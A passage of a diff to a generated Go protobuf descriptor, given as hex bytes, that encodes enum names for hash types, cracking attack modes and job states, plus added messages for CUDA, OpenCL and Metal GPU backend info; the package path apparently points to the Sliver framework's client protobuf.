0x41, 0x5f, - 0x32, 0x30, 0x10, 0xa8, 0x78, 0x12, 0x1f, 0x0a, 0x1a, 0x4c, 0x49, 0x4e, 0x55, 0x58, 0x5f, 0x4b, - 0x45, 0x52, 0x4e, 0x45, 0x4c, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x4f, 0x5f, 0x41, 0x50, 0x49, - 0x5f, 0x32, 0x34, 0x10, 0xa4, 0x71, 0x12, 0x0c, 0x0a, 0x07, 0x53, 0x4b, 0x49, 0x50, 0x5f, 0x33, - 0x32, 0x10, 0xb4, 0x74, 0x12, 0x14, 0x0a, 0x0f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, - 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xfc, 0x5c, 0x12, 0x15, 0x0a, 0x10, 0x50, 0x42, - 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0xe0, - 0x5d, 0x12, 0x17, 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, - 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x94, 0x55, 0x12, 0x17, 0x0a, 0x12, 0x50, 0x42, - 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, - 0x10, 0xc4, 0x5e, 0x12, 0x0b, 0x0a, 0x06, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xc4, 0x45, - 0x12, 0x0b, 0x0a, 0x06, 0x50, 0x48, 0x50, 0x41, 0x53, 0x53, 0x10, 0x90, 0x03, 0x12, 0x10, 0x0a, - 0x0b, 0x54, 0x41, 0x43, 0x41, 0x43, 0x53, 0x5f, 0x50, 0x4c, 0x55, 0x53, 0x10, 0xe4, 0x7d, 0x12, - 0x0f, 0x0a, 0x0a, 0x53, 0x49, 0x50, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x88, 0x59, - 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4b, 0x45, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb4, 0x29, 0x12, 0x0d, - 0x0a, 0x08, 0x49, 0x4b, 0x45, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0x98, 0x2a, 0x12, 0x19, 0x0a, - 0x13, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, - 0x35, 0x5f, 0x39, 0x36, 0x10, 0x8c, 0xc4, 0x01, 0x12, 0x22, 0x0a, 0x1c, 0x53, 0x4e, 0x4d, 0x50, - 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, 0x5f, - 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, 0xa8, 0xc3, 0x01, 0x12, 0x1a, 0x0a, 0x14, - 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, - 0x31, 0x5f, 0x39, 0x36, 0x10, 0xf0, 0xc4, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, - 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x32, 0x34, 0x5f, - 0x31, 0x32, 0x38, 0x10, 0xcc, 0xd0, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, - 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, 0x31, - 0x39, 0x32, 0x10, 0xb0, 0xd1, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, - 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x32, 0x35, - 0x36, 0x10, 0x94, 0xd2, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, - 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x33, 0x38, 0x34, - 0x10, 0xa4, 0xd5, 0x01, 0x12, 0x15, 0x0a, 0x10, 0x57, 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, 0x4f, - 0x4c, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, 0xc4, 0x13, 0x12, 0x12, 0x0a, 0x0d, 0x57, - 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xc5, 0x13, 0x12, - 0x1c, 0x0a, 0x16, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x50, 0x4d, - 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf0, 0xab, 0x01, 0x12, 0x19, 0x0a, - 0x13, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x45, - 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf1, 0xab, 0x01, 0x12, 0x16, 0x0a, 0x10, 0x57, 0x50, 0x41, 0x5f, - 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, 0xa0, 0x83, 0x01, - 0x12, 0x13, 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, 0x4d, - 0x4b, 0x10, 0xa1, 0x83, 0x01, 0x12, 0x19, 0x0a, 0x14, 0x49, 0x50, 0x4d, 0x49, 0x32, 0x5f, 0x50, - 0x41, 0x4b, 0x50, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0x84, 0x39, - 0x12, 0x0d, 0x0a, 0x08, 0x43, 0x52, 0x41, 0x4d, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xd8, 0x4f, 0x12, - 0x09, 0x0a, 0x03, 0x4a, 0x57, 0x54, 0x10, 0xf4, 0x80, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x52, 0x41, - 0x44, 0x4d, 0x49, 0x4e, 0x5f, 0x33, 0x10, 0x90, 0xe4, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, - 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, - 0x50, 0x10, 0x90, 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, - 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xd8, 0x9a, 0x01, - 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, - 0x44, 0x42, 0x10, 0x80, 0xe1, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, - 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0xf4, 0x99, - 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, - 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xbc, 0x9b, 0x01, 0x12, 0x14, 0x0a, 0x0e, - 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x44, 0x42, 0x10, 0xe4, - 0xe1, 0x01, 0x12, 0x1f, 0x0a, 0x1a, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, - 0x33, 0x5f, 0x53, 0x41, 0x5f, 0x52, 0x45, 0x51, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, - 0x10, 0xcc, 0x3a, 0x12, 0x18, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, - 0x32, 0x33, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0xac, 0x66, 0x12, 0x18, 0x0a, - 0x12, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x41, 0x53, 0x5f, - 0x52, 0x45, 0x50, 0x10, 0x98, 0x8e, 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, 0x4e, - 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x10, 0xfc, 0x2a, 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, 0x54, - 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x5f, 0x4e, 0x54, 0x10, 0xf8, 0xd2, 0x01, 0x12, - 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x10, 0xe0, - 0x2b, 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x32, - 0x5f, 0x4e, 0x54, 0x10, 0xdc, 0xd3, 0x01, 0x12, 0x0b, 0x0a, 0x05, 0x46, 0x4c, 0x41, 0x53, 0x4b, - 0x10, 0xac, 0xe3, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x49, 0x53, 0x43, 0x53, 0x49, 0x5f, 0x43, 0x48, - 0x41, 0x50, 0x10, 0xc0, 0x25, 0x12, 0x09, 0x0a, 0x04, 0x52, 0x41, 0x43, 0x46, 0x10, 0xb4, 0x42, - 0x12, 0x0d, 0x0a, 0x08, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x4d, 0x44, 0x35, 0x10, 0x9c, 0x31, 0x12, - 0x0e, 0x0a, 0x09, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x31, 0x10, 0xac, 0x34, 0x12, - 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x80, - 0x32, 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, - 0x10, 0xe4, 0x32, 0x12, 0x07, 0x0a, 0x02, 0x4c, 0x4d, 0x10, 0xb8, 0x17, 0x12, 0x0d, 0x0a, 0x07, - 0x51, 0x4e, 0x58, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb8, 0x94, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, - 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x9c, 0x95, 0x01, 0x12, 0x10, 0x0a, - 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0x80, 0x96, 0x01, 0x12, - 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f, - 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, 0x10, 0xc4, 0x77, 0x12, 0x13, 0x0a, 0x0e, 0x44, 0x50, - 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, 0xce, 0x77, 0x12, - 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f, - 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, 0x10, 0x9c, 0x7c, 0x12, 0x13, 0x0a, 0x0e, 0x44, 0x50, - 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, 0xa6, 0x7c, 0x12, - 0x0b, 0x0a, 0x06, 0x47, 0x52, 0x55, 0x42, 0x5f, 0x32, 0x10, 0xa0, 0x38, 0x12, 0x12, 0x0a, 0x0d, - 0x4d, 0x53, 0x5f, 0x41, 0x5a, 0x55, 0x52, 0x45, 0x5f, 0x53, 0x59, 0x4e, 0x43, 0x10, 0x80, 0x64, - 0x12, 0x0f, 0x0a, 0x0a, 0x42, 0x53, 0x44, 0x49, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xf0, - 0x60, 0x12, 0x09, 0x0a, 0x04, 0x4e, 0x54, 0x4c, 0x4d, 0x10, 0xe8, 0x07, 0x12, 0x0c, 0x0a, 0x07, - 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x32, 0x10, 0xac, 0x4d, 0x12, 0x14, 0x0a, 0x0f, 0x53, 0x41, - 0x4d, 0x53, 0x55, 0x4e, 0x47, 0x5f, 0x41, 0x4e, 0x44, 0x52, 0x4f, 0x49, 0x44, 0x10, 0xa8, 0x2d, - 0x12, 0x17, 0x0a, 0x11, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x48, 0x45, 0x4c, 0x4c, - 0x4f, 0x5f, 0x50, 0x49, 0x4e, 0x10, 0xc4, 0xdb, 0x01, 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x49, 0x4e, - 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x50, 0x48, 0x4f, 0x4e, 0x45, 0x10, 0xe8, 0x6b, 0x12, 0x12, 0x0a, - 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x41, 0x53, 0x41, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xea, - 0x12, 0x12, 0x1c, 0x0a, 0x17, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, 0x50, - 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0xf0, 0x47, 0x12, - 0x15, 0x0a, 0x10, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, 0x53, 0x43, 0x52, - 0x59, 0x50, 0x54, 0x10, 0xd4, 0x48, 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, - 0x50, 0x49, 0x58, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xe0, 0x12, 0x12, 0x1a, 0x0a, 0x15, 0x43, 0x49, - 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, 0x53, - 0x48, 0x41, 0x31, 0x10, 0xa4, 0x3f, 0x12, 0x1d, 0x0a, 0x17, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58, - 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, - 0x32, 0x10, 0xb8, 0xad, 0x01, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x43, 0x43, 0x10, 0xcc, 0x08, 0x12, - 0x09, 0x0a, 0x04, 0x44, 0x43, 0x43, 0x32, 0x10, 0xb4, 0x10, 0x12, 0x0f, 0x0a, 0x0a, 0x4d, 0x41, - 0x43, 0x4f, 0x53, 0x5f, 0x31, 0x30, 0x5f, 0x38, 0x10, 0xbc, 0x37, 0x12, 0x0c, 0x0a, 0x07, 0x49, - 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x10, 0x8f, 0x4e, 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x43, 0x52, - 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, 0x80, 0x19, 0x12, 0x16, 0x0a, 0x11, 0x53, - 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, 0x58, - 0x10, 0x88, 0x0e, 0x2a, 0x32, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x12, 0x08, 0x0a, - 0x04, 0x49, 0x44, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x43, 0x52, 0x41, 0x43, 0x4b, - 0x49, 0x4e, 0x47, 0x10, 0x01, 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x49, 0x54, 0x49, 0x41, 0x4c, - 0x49, 0x5a, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x2a, 0x3c, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x4a, 0x6f, 0x62, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x4e, 0x5f, - 0x50, 0x52, 0x4f, 0x47, 0x52, 0x45, 0x53, 0x53, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x43, 0x4f, - 0x4d, 0x50, 0x4c, 0x45, 0x54, 0x45, 0x44, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x46, 0x41, 0x49, - 0x4c, 0x45, 0x44, 0x10, 0x02, 0x2a, 0x94, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x41, - 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x53, 0x54, 0x52, - 0x41, 0x49, 0x47, 0x48, 0x54, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x43, 0x4f, 0x4d, 0x42, 0x49, - 0x4e, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x42, 0x52, 0x55, 0x54, - 0x45, 0x46, 0x4f, 0x52, 0x43, 0x45, 0x10, 0x03, 0x12, 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, - 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x5f, 0x4d, 0x41, 0x53, 0x4b, - 0x10, 0x06, 0x12, 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x4d, 0x41, 0x53, - 0x4b, 0x5f, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, 0x07, 0x12, 0x0f, 0x0a, 0x0b, - 0x41, 0x53, 0x53, 0x4f, 0x43, 0x49, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, 0x09, 0x12, 0x0d, 0x0a, - 0x09, 0x4e, 0x4f, 0x5f, 0x41, 0x54, 0x54, 0x41, 0x43, 0x4b, 0x10, 0x0a, 0x2a, 0x44, 0x0a, 0x0d, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x12, 0x14, 0x0a, - 0x10, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x45, 0x4e, 0x43, 0x4f, 0x44, 0x49, 0x4e, - 0x47, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x53, 0x4f, 0x5f, 0x38, 0x38, 0x35, 0x39, 0x5f, - 0x31, 0x35, 0x10, 0x01, 0x12, 0x0c, 0x0a, 0x08, 0x55, 0x54, 0x46, 0x5f, 0x33, 0x32, 0x4c, 0x45, - 0x10, 0x02, 0x2a, 0x90, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, 0x66, - 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, 0x0a, 0x0e, 0x49, 0x4e, 0x56, - 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x46, 0x4f, 0x52, 0x4d, 0x41, 0x54, 0x10, 0x00, 0x12, 0x0d, 0x0a, - 0x09, 0x48, 0x41, 0x53, 0x48, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, - 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x02, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x45, 0x58, 0x5f, 0x50, - 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x43, 0x52, 0x41, 0x43, 0x4b, 0x5f, - 0x50, 0x4f, 0x53, 0x10, 0x04, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, 0x41, - 0x4d, 0x50, 0x5f, 0x41, 0x42, 0x53, 0x4f, 0x4c, 0x55, 0x54, 0x45, 0x10, 0x05, 0x12, 0x16, 0x0a, - 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x52, 0x45, 0x4c, 0x41, 0x54, - 0x49, 0x56, 0x45, 0x10, 0x06, 0x2a, 0x63, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, - 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x1c, 0x0a, - 0x18, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x4b, 0x4c, 0x4f, 0x41, - 0x44, 0x5f, 0x50, 0x52, 0x4f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x07, 0x0a, 0x03, 0x4c, - 0x4f, 0x57, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x44, 0x45, 0x46, 0x41, 0x55, 0x4c, 0x54, 0x10, - 0x02, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x49, 0x47, 0x48, 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x4e, - 0x49, 0x47, 0x48, 0x54, 0x4d, 0x41, 0x52, 0x45, 0x10, 0x04, 0x2a, 0x4e, 0x0a, 0x0d, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x10, 0x0a, 0x0c, 0x49, - 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x54, 0x59, 0x50, 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, - 0x08, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x52, - 0x55, 0x4c, 0x45, 0x53, 0x10, 0x02, 0x12, 0x12, 0x0a, 0x0e, 0x4d, 0x41, 0x52, 0x4b, 0x4f, 0x56, - 0x5f, 0x48, 0x43, 0x53, 0x54, 0x41, 0x54, 0x32, 0x10, 0x03, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, - 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, - 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x33, + 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x20, 0x0a, + 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, + 0xd9, 0x02, 0x0a, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, + 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, + 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, + 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, + 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, + 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, + 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, + 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, + 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, + 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, + 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, + 0x72, 0x65, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, + 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4f, 0x70, 0x65, 0x6e, + 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x4f, 0x70, 0x65, + 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, + 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, + 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xa4, 0x02, 0x0a, 0x10, + 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, + 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 